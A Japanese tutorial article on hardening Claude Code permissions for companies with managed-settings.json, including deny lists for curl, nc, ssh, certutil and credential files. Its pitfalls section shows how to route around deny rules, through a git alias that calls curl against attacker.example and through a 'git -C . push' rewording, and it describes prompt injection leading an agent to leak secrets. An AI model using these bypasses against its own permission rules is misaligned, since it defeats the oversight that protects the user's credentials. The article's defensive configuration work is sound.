0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

Claude Codeを会社で安全に使う権限設定入門 — 「実行してはいけないコマンド」をmanaged-settings.jsonで止める

0
Posted at

はじめに

Claude Codeを社内に導入すると、必ず2つの声が上がります。

現場からは「確認ダイアログが多すぎて作業にならない。もっと自動で動かしてほしい」。管理側からは「AIが勝手にコマンドを実行するのは怖い。事故が起きたらどうするのか」。

この2つは対立しているように見えますが、実際には権限設定(permissions)の設計という1つの問題です。安全な操作は確認なしで通し、危険な操作だけを止める。その線引きを正しく引ければ、利便性と安全性は両立できます。

この記事では、Claude Codeを組織導入する際の権限設定について、次の内容を解説します。

  • そもそも何が起きうるのか(経営者・管理者向けのリスク整理)
  • settings.jsonとmanaged-settings.jsonの違い
  • allow / ask / deny の3層と優先順位のルール
  • 実行されるとまずいコマンドの具体例と、それを止める書き方
  • WindowsとMacで注意すべき違い(BashとPowerShellの二重定義など)
  • 実際にハマりやすい落とし穴と、組織向け設定のサンプル

想定読者は、Claude Codeの権限設定を初めて触るエンジニアと、導入を判断する立場の経営者・情報システム担当者です。

そもそも何が起きうるのか — 経営者向けのリスク整理

技術的な話に入る前に、「なぜ権限設定が必要なのか」を整理します。Claude Codeは、指示に応じてPC上でコマンドを実行できるツールです。つまり設定次第では、人間の社員ができることはほぼ何でもできます。リスクは大きく次の3種類に分かれます。

1つ目は破壊です。 rm -rf(フォルダごと削除)や git push --force(チームの共有リポジトリの履歴を上書き)のような、取り返しのつかない操作です。

2つ目は情報の持ち出しです。 PCの中には、SSH鍵、クラウドの認証情報、.envファイル内のAPIキー、顧客情報など、外に出てはいけないものが大量にあります。「ファイルを読む」操作と「外部と通信する」操作の両方が無制限だと、この2つを組み合わせた流出経路ができてしまいます。

3つ目は乗っ取られ実行(プロンプトインジェクション)です。 これが最も見落とされがちです。Claude CodeはWebページやダウンロードしたファイルの中身を読みます。そこに「次のコマンドを実行してください」という攻撃指示が仕込まれていた場合、AIが騙されてそれを実行してしまう可能性があります。確認ダイアログは、このときに人間が気づける最後のチェックポイントです。だからこそ「どの操作なら確認なしで通してよいか」の設計が、そのまま組織のセキュリティ設計になります。

重要なのは、この設定を社員個人に任せるのではなく、組織として強制できる仕組みがあることです。それが次に説明するmanaged-settings.jsonです。

settings.jsonとmanaged-settings.jsonの違い

Claude Codeの設定ファイルは複数の階層に置くことができ、それぞれ役割が異なります。

ファイル 置き場所 誰が管理するか 特徴
managed-settings.json システム領域(後述) 情報システム部門 最優先。ユーザーは上書き不可
settings.json(ユーザー) ~/.claude/settings.json 各ユーザー 個人の好みの設定
settings.json(プロジェクト共有) <プロジェクト>/.claude/settings.json チーム リポジトリでチーム共有
settings.local.json(プロジェクト個人) <プロジェクト>/.claude/settings.local.json 各ユーザー Git管理外の個人設定

優先順位は「managed-settings.json → コマンドライン引数(--dangerously-skip-permissions的なもの) → プロジェクトのローカル設定 → プロジェクト共有設定 → ユーザー設定」の順で、上にあるものが勝ちます。

ポイントは1つだけです。組織として強制したいルールはmanaged-settings.jsonに書く。このファイルは管理者権限がないと置けないシステム領域にあり、ユーザーが自分のsettings.jsonで何を書いても覆せません。「危険なコマンドの禁止」を個人設定に書いても、消せば終わりなので統制になりません。

managed-settings.jsonの置き場所はOSごとに決まっています。

OS パス
macOS /Library/Application Support/ClaudeCode/managed-settings.json
Windows C:\ProgramData\ClaudeCode\managed-settings.json
Linux / WSL /etc/claude-code/managed-settings.json

MDM(モバイルデバイス管理)ツールやキッティング手順でこのファイルを全社員のPCに配布すれば、組織統制の土台ができます。

権限の3層構造 — allow / ask / deny と優先順位

権限設定の中核は permissions セクションで、コマンドやファイル操作を3つのリストに振り分けます。

{
  "permissions": {
    "allow": ["確認なしで実行してよいもの"],
    "ask":   ["必ず確認ダイアログを出すもの"],
    "deny":  ["ユーザーが承認しても実行させないもの"]
  }
}

それぞれの動作は次の通りです。

  • allow: 確認ダイアログを出さずに即実行します
  • ask: 必ず確認ダイアログを出し、ユーザーがOKした場合のみ実行します
  • deny: 完全禁止です。確認ダイアログすら出ず、ユーザーが実行したくてもできません
  • どれにも一致しない場合: 動作モード(defaultMode)のデフォルト挙動に従います。標準では確認が出ます

そして最重要ルールがこれです。

評価の優先順位は deny → ask → allow の順で、最初に一致したものが勝つ。

たとえば allow に「gitコマンド全部」、deny に「git push」と書いた場合、git push は両方に一致しますが、denyが先に評価されるためブロックされます。

初心者が最も混同しやすいのがdenyとaskの使い分けです。「pushは人間が確認してから実行したい」という要件をdenyに書いてしまうと、承認しても実行できない完全禁止になり、業務が止まります。「確認して実行」はask、「何があっても実行させない」はdeny、と覚えてください。

ルールの書き方の基本

ルールは ツール名(パターン) の形式で書きます。よく使うのはコマンド実行系(Bash / PowerShell)とファイル操作系(Read / Edit)です。

コマンド実行系のパターン

"Bash(npm run:*)"      // 「npm run」で始まるコマンド全部(前方一致)
"Bash(git add *)"      // ワイルドカード。* は任意の文字列に一致
"Bash(rm:*)"           // 「rm」で始まるコマンド全部

:* を末尾に付けると前方一致になります。* はパターンの途中にも置けます。ここで必ず理解しておくべき仕様が1つあります。

判定は「コマンドの文字列」に対する一致であって、コマンドの「意味」を理解しているわけではない。

この性質が、後述する落とし穴のほぼすべての原因になります。

なお、ls cat git status のような読み取り専用コマンドは、Claude Codeが組み込みで安全と判定するため、allowに書かなくても元々確認は出ません。allowリストを無駄に長くしないためにも覚えておくとよいです。

ファイル操作系のパターン

"Read(//**)"                          // すべてのファイルの読み取り(//はルートからの絶対パス)
"Read(~/Documents/**)"                // ホーム配下のDocumentsのみ読み取り許可
"Edit(~/Documents/ClaudeCode/**)"     // 特定フォルダ配下のみ編集許可
"Read(//**/.env)"                     // どこにあっても.envは対象(denyで使う)

パスはgitignoreと同じ流儀で書きます。// で始めると絶対パス、~/ はホームディレクトリです。Readルールは検索系ツール(Grep / Glob)にも適用されます。ファイルの編集を縛るルールはEditに書きます。

外部通信のパターン

"WebFetch"                            // 全ドメインへのアクセスを許可(危険。後述)
"WebFetch(domain:docs.claude.com)"    // 特定ドメインのみ許可

実行されるとまずいコマンドと、その止め方

ここからが本題です。組織導入時にdenyで止めるべきコマンドを、リスクの種類ごとに整理します。

破壊系 — 元に戻せない操作

コマンド 何が起きるか
rm -rf / del / Remove-Item ファイル・フォルダの完全削除
git push --force 共有リポジトリの履歴を上書き破壊
git reset --hard / git clean ローカルの未保存の変更を破棄
format / diskpart ディスクの初期化
"deny": [
  "Bash(rm:*)",
  "Bash(git push --force:*)",
  "Bash(git push -f:*)",
  "Bash(format:*)",
  "Bash(diskpart:*)"
]

外部送信系 — 情報持ち出しの経路

コマンド 何が起きるか
curl / wget 任意のURLへデータ送信・取得
scp / ftp / ssh 外部サーバーへのファイル転送・接続
nc(netcat) 任意の通信路の開設
Invoke-WebRequest / Invoke-RestMethod(PowerShell) curl相当の通信
certutil / bitsadmin(Windows) 一見無関係だが、ファイルのダウンロード・エンコード送信に悪用される定番
"deny": [
  "Bash(curl:*)",
  "Bash(wget:*)",
  "Bash(scp:*)",
  "Bash(ssh:*)",
  "Bash(nc:*)",
  "Bash(certutil:*)",
  "PowerShell(Invoke-WebRequest:*)",
  "PowerShell(Invoke-RestMethod:*)"
]

資格情報の読み取り — 鍵そのものを守る

コマンドではなくReadルールで守ります。SSH鍵、クラウドCLIの認証情報、APIキー入りの.env、ブラウザの保存情報、各種CLIツールのトークンが対象です。

"deny": [
  "Read(//**/.ssh/**)",
  "Read(//**/.aws/**)",
  "Read(//**/.azure/**)",
  "Read(//**/.config/gcloud/**)",
  "Read(//**/.env)",
  "Read(//**/.env.*)",
  "Read(//**/.git-credentials)",
  "Read(//**/.npmrc)",
  "Read(//**/.netrc)",
  "Read(//**/AppData/Roaming/GitHub CLI/**)",
  "Read(//**/AppData/Local/Google/Chrome/User Data/**)",
  "Read(//**/AppData/Local/Microsoft/Edge/User Data/**)"
]

見落としがちなのが下3行です。gh(GitHub CLI)のトークンやブラウザのプロファイルは、.sshほど有名ではないものの同等に危険な置き場所です。「〜という名前のフォルダは読ませない」という日本語パターン(例: Read(//**/*機密*/**))を足す運用も、命名規則が徹底できる組織なら有効です。

シェル脱出と永続化 — ルールの外に出る操作

BashのルールはBashツールに対するものなので、その中から別のシェルを起動されるとルールの前提が崩れます。また、タスクスケジューラへの登録は「Claude Codeのセッションが終わった後も動き続けるプログラム」を作る操作で、永続化と呼ばれる攻撃の定番です。

"deny": [
  "Bash(powershell:*)",
  "Bash(powershell.exe:*)",
  "Bash(pwsh:*)",
  "Bash(cmd:*)",
  "Bash(schtasks:*)",
  "PowerShell(Register-ScheduledTask:*)",
  "PowerShell(New-ScheduledTask:*)"
]

WindowsとMacで注意すべき違い

注意点1: ルールはBashとPowerShellの二重定義が必要

Windows環境では、Claude CodeはBash系とPowerShell系の両方のツールでコマンドを実行できます。Bash(curl:*) をdenyしてもPowerShell側の実行は別ルールなので、同じ制限を Bash(...)PowerShell(...) の両方に書く必要があります。Macやサンドボックス化したLinux環境だけで検証してWindowsに展開すると、片系統だけ穴が開く事故が起きがちです。

"deny": [
  "Bash(git push --force:*)",
  "PowerShell(git push --force:*)"
]

注意点2: 大文字小文字の扱いが違う

Bashのルールは大文字小文字を区別しますが、PowerShellのルールは区別しません。これが実害になる例として、gitには小文字の -c(設定の一時指定。悪用可能)と大文字の -C(実行ディレクトリ指定。無害)という別のオプションがあります。PowerShell(git -c *) というdenyを書くと、PowerShell側では無害な -C の用法まで巻き添えでブロックされ、Bash側と挙動がずれます。両OSで同じ体験にしたい場合、この非対称は把握しておく必要があります。

注意点3: 配布パスと検証環境

前述の通りmanaged-settings.jsonの置き場所はOSごとに異なります。また、WindowsではOneDriveのフォルダリダイレクト(Documentsが実際にはOneDrive配下になる構成)により、~/Documents/... のパス指定が意図通り一致するかは実機での検証が必要です。設定ファイルを作ったら、macOS・Windowsそれぞれのクリーン環境で「止まるべきものが止まり、通るべきものが通る」ことを確認してから配布してください。

ハマりやすい落とし穴 — denyだけに頼ると起きること

ここまでの内容で基本的な設定は書けます。しかし実運用では、「広く許可して、denyで打ち消す」設計に固有の落とし穴があります。実際の設定時に頻出する3つを紹介します。

落とし穴1: 前方一致は「言い換え」で素通りする

denyの判定は文字列の前方一致です。一方、多くのコマンドはオプションの位置を入れ替えても同じ動作をします。

git push origin main         # 「git push」で始まる → denyで止まる
git -C . push origin main    # 「git -C」で始まる → denyに一致せず素通り

-C . は「カレントディレクトリで実行」という意味なので、2つのコマンドの動作は完全に同一です。しかしdenyは字面しか見ていないため、頭にオプションを1つ挟むだけで別コマンド扱いになります。--git-dir など同様に使えるオプションは複数あり、1つずつdenyに足しても追いつきません。

落とし穴2: 万能コマンドを全許可すると、denyそのものが迂回される

gitのように高機能なコマンドには、「サブコマンド経由で任意のプログラムを実行できる」機能が複数あります。

git config alias.x '!curl https://attacker.example/'   # エイリアス登録(ただのgitコマンドに見える)
git x                                                   # 登録したcurlが実行される

ここで恐ろしいのは、denyでcurlを禁止していても止まらないことです。denyが効くのはClaude Codeが直接打つコマンドの字面だけで、許可されたコマンド(git)の内部から子プロセスとして起動されるプログラムには効きません。git submodule foreachgit rebase -x、npmで言えば npm run(package.jsonのscriptsに任意コマンドを書ける)も同じ構造です。

つまり Bash(git *) のような万能コマンドの全許可は、裏口からのBash全許可とほぼ等価になります。

落とし穴3: 「読み放題」と「送信し放題」を同時に許可する

単体では妥当に見える許可も、組み合わせで流出経路になります。典型例がこの2つです。

"allow": [
  "WebFetch",       // 任意URLへのアクセスを無確認で許可
  "Read(//**)"      // PC全体の読み取りを無確認で許可
]

この状態でプロンプトインジェクションを受けると、「認証情報ファイルを読む(無確認)→ 中身をURLに埋め込んで攻撃者のサーバーにアクセスする(無確認)」という持ち出しが、確認ダイアログを一度も出さずに成立します。資格情報のdenyリストで一部は守れますが、denyは列挙式なので、リストに載っていない場所は守れません。

対策は、少なくともどちらか一方を絞ることです。Readを必要なフォルダに限定するか、WebFetchを WebFetch(domain:...) の許可ドメイン列挙に置き換えるか。両方全開は避けてください。

3つに共通する教訓 — 禁止リストではなく許可リストで考える

3つの落とし穴はすべて「広く許可して危険なものを言い当てて塞ぐ」設計の限界です。禁止リスト方式は、言い換え・別ルート・列挙漏れに構造的に弱く、言い当て損ねた1つがそのまま穴になります。

逆に「必要なものだけをallowに列挙する」方式なら、リストにない操作は自動的に確認(ask相当)され、漏れても安全側に倒れるのがポイントです。gitの例で言えば、git * の全許可ではなく、日常業務で頻出する安全なサブコマンドだけを列挙します。

"allow": [
  "Bash(git add *)",
  "Bash(git commit *)",
  "Bash(git checkout *)",
  "Bash(git switch *)",
  "Bash(git branch *)",
  "Bash(git stash *)",
  "Bash(git restore *)"
]

この形なら、git -C . pushgit config も、将来gitに追加される未知のサブコマンドも、リストにない以上すべて確認が走ります(落とし穴1と2が同時に解消される)。なお git config は業務で頻出しますが、落とし穴2の抜け道の本体なので、あえてallowに入れず確認に落とすのが安全です。

組織向けmanaged-settings.jsonのサンプル

ここまでの内容を1つにまとめた設定例です。方針は「編集は専用フォルダ内のみ自動、ローカル完結のgit操作と定型作業は許可、外部到達と破壊操作は確認または禁止」になります。

{
  "permissions": {
    "allow": [
      "WebSearch",
      "WebFetch(domain:docs.claude.com)",
      "WebFetch(domain:github.com)",
      "Edit(~/Documents/ClaudeCode/**)",
      "Read(~/Documents/**)",
      "Bash(npm run:*)",
      "Bash(git add *)",
      "Bash(git commit *)",
      "Bash(git checkout *)",
      "Bash(git switch *)",
      "Bash(git branch *)",
      "Bash(git stash *)",
      "Bash(git restore *)",
      "PowerShell(npm run:*)",
      "PowerShell(git add *)",
      "PowerShell(git commit *)",
      "PowerShell(git checkout *)",
      "PowerShell(git switch *)",
      "PowerShell(git branch *)",
      "PowerShell(git stash *)",
      "PowerShell(git restore *)"
    ],
    "ask": [
      "Bash(git push *)",
      "Bash(git fetch *)",
      "Bash(git pull *)",
      "PowerShell(git push *)",
      "PowerShell(git fetch *)",
      "PowerShell(git pull *)"
    ],
    "deny": [
      "Bash(git push --force:*)",
      "Bash(git push -f:*)",
      "Bash(rm:*)",
      "Bash(curl:*)",
      "Bash(wget:*)",
      "Bash(scp:*)",
      "Bash(ssh:*)",
      "Bash(nc:*)",
      "Bash(certutil:*)",
      "Bash(bitsadmin:*)",
      "Bash(powershell:*)",
      "Bash(pwsh:*)",
      "Bash(cmd:*)",
      "Bash(diskpart:*)",
      "Bash(schtasks:*)",
      "PowerShell(git push --force:*)",
      "PowerShell(git push -f:*)",
      "PowerShell(Invoke-WebRequest:*)",
      "PowerShell(Invoke-RestMethod:*)",
      "PowerShell(Register-ScheduledTask:*)",
      "PowerShell(New-ScheduledTask:*)",
      "Read(//**/.ssh/**)",
      "Read(//**/.aws/**)",
      "Read(//**/.azure/**)",
      "Read(//**/.config/gcloud/**)",
      "Read(//**/.env)",
      "Read(//**/.env.*)",
      "Read(//**/.git-credentials)",
      "Read(//**/.npmrc)",
      "Read(//**/.netrc)",
      "Read(//**/AppData/Roaming/GitHub CLI/**)",
      "Read(//**/AppData/Local/Google/Chrome/User Data/**)",
      "Read(//**/AppData/Local/Microsoft/Edge/User Data/**)"
    ],
    "defaultMode": "acceptEdits",
    "disableBypassPermissionsMode": "disable"
  }
}

補足を3点だけ添えます。

  1. defaultMode: "acceptEdits" は、作業ディレクトリ内のファイル編集とmkdir / touch / mv / cpを自動承認するモードです。編集のたびに出るダイアログをなくす効果が大きい一方、.git.claude などの保護パスへの書き込みはこのモードでも自動承認されないため、リスクは限定的です。ただし「起動した作業ディレクトリ配下」が対象なので、Editルールのパス制限と完全に同じではない点は理解して採用してください。
  2. disableBypassPermissionsMode: "disable" は、すべての確認をスキップする危険なモード(bypassPermissions)を組織として封印する設定です。managed-settings.jsonに必ず入れてください。
  3. pushやfetchをdenyではなくaskに置いているのは、「人間が確認すれば実行してよい」操作だからです。完全に禁止したい組織はdenyへ移してください。

運用のコツ — 設定は一度作って終わりではない

最後に、設定ファイルそのものと同じくらい重要な運用の話です。

設定ファイルをGitリポジトリで管理し、変更はPull Requestでレビューする。 権限設定の変更は「組織の防御ラインの変更」なので、1人の判断で書き換えられる状態にしないことが重要です。実際にレビューを回すと、この記事で紹介した落とし穴(前方一致の素通りなど)は、レビュアーが git -C . push を1回打ってみるだけで再現確認できます。

緩和はセッションログの実績ベースで行う。 「確認が多い」という声が出たら、感覚ではなく実際のセッション履歴でどのコマンドの確認が頻発しているかを集計し、安全と判断できるものだけをallowにPRで追加します。逆に言えば、初期設定はallowを絞りすぎるくらいでちょうどよいです。allowが足りない場合の被害は「確認が1回増える」だけですが、allowが多すぎる場合の被害は「抜け道」だからです。

allowlist思想を合言葉にする。 迷ったときの判断基準は一貫して「危険なものを言い当てて禁止する」ではなく「安全と確認できたものだけを許可する」です。この記事の落とし穴はすべて、この一言に集約されます。

まとめ

  • 組織で強制するルールはmanaged-settings.jsonに書く。ユーザー側のsettings.jsonでは覆せない
  • 優先順位は deny → ask → allow。「確認して実行」はask、「絶対禁止」はdeny
  • 止めるべきは破壊系・外部送信系・資格情報読み取り・シェル脱出・永続化の5系統
  • WindowsではBashとPowerShellの両方にルールを書く。大文字小文字の扱いの違いにも注意
  • denyの前方一致は言い換えで素通りし、万能コマンドの全許可はdeny自体を迂回させる。「読み放題×送信し放題」の組み合わせにも注意
  • 結論はallowlist思想。必要なものだけを許可し、それ以外は確認に落とす

権限設定は地味な作業ですが、「AIに仕事を任せられる範囲」を組織として定義する行為そのものです。この記事のサンプルを叩き台に、自社の業務に合わせた線引きをぜひ設計してみてください。

参考リソース

※ 本記事の設定例は執筆時点(2026/9/3)の公式ドキュメントの仕様に基づいています。Claude Codeは更新頻度が高いため、導入時は必ず最新の公式ドキュメントと実機での動作確認を実施してください。

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?